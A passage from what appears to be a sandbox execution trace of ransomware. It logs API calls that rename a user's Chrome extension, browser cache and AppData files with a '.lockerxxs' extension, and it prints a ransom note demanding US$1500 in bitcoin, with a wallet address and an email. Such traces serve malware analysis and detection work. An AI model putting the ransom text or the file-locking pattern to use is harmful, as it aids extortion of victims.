lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0079.056] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.lockerxxs")) returned 1 [0079.186] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.lockerxxs")) returned 1 [0079.323] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.lockerxxs")) returned 1 [0079.326] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.lockerxxs")) returned 1 [0079.329] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.lockerxxs")) returned 1 [0079.937] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.lockerxxs")) returned 1 [0080.465] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.lockerxxs")) returned 1 [0080.478] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.lockerxxs")) returned 1 [0080.482] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.lockerxxs")) returned 1 [0080.485] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.lockerxxs")) returned 1 [0080.487] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.lockerxxs")) returned 1 [0080.489] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.lockerxxs")) returned 1 [0080.492] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.lockerxxs")) returned 1 [0080.495] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.lockerxxs")) returned 1 [0080.655] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0080.655] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0080.657] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0080.657] CloseHandle (hObject=0xa8) returned 1 [0080.661] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.lockerxxs")) returned 1 [0080.765] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.lockerxxs")) returned 1 [0080.777] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.lockerxxs")) returned 1 [0080.782] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.lockerxxs")) returned 1 [0080.798] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.lockerxxs")) returned 1 [0080.812] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.lockerxxs")) returned 1 [0080.814] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.lockerxxs")) returned 1 [0080.820] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.lockerxxs")) returned 1 [0080.827] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.lockerxxs")) returned 1 [0081.070] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.lockerxxs")) returned 1 [0081.146] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.lockerxxs")) returned 1 [0081.180] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat.lockerxxs")) returned 1 [0081.194] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat.lockerxxs")) returned 1 [0081.205] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.lockerxxs")) returned 1 [0081.214] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat.lockerxxs")) returned 1 [0081.218] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\frameiconcache.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\frameiconcache.dat.lockerxxs")) returned 1 [0081.224] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\msimgsiz.dat.lockerxxs")) returned 1 [0081.230] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{4bd650f1-c8f9-11e7-b5bf-c43dc7584a00}.dat.lockerxxs")) returned 1 [0081.232] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last 